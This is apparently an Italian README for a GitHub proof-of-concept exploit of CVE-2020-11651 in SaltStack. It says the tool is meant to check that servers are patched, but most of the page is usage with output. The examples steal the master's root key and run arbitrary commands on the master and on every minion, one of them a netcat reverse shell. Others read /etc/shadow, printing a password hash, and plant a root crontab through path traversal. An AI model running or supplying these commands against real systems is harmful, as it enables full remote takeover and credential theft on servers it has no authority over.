hardsoftsecurity/cve-2020-11651-pocRepository che contiene un exploit per CVE-2020-11651 aggiornato per funzionare con le ultime versioni di python.
Repository che contiene un exploit CVE-2020-11651 aggiornato per funzionare con le ultime versioni di Python e gestire gli errori relativi alle connessioni.
Questo è un exploit proof of concept basato sullo script di controllo iniziale. Usalo per verificare di aver aggiornato con successo i tuoi server Salt master a una release contenente le correzioni necessarie.
Grazie a F-Secure Labs per la loro ricerca e reportistica.
Attualmente questo script può essere utilizzato per l'accesso al filesystem e la pianificazione di comandi sul master e su tutti i minion collegati. Usa questi poteri con saggezza!
Il funzionamento predefinito (senza argomenti) è ottenere la chiave root per il master specificato:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
Esecuzione di comandi arbitrari sul master:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#
Lo stesso, ma su tutti i minion:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#
I file possono essere letti con:
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
I file possono essere caricati usando --upload-src e --upload-dest. Nota che la destinazione deve essere un percorso relativo:
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
Python 2 o 3
Salt (pip3 install salt)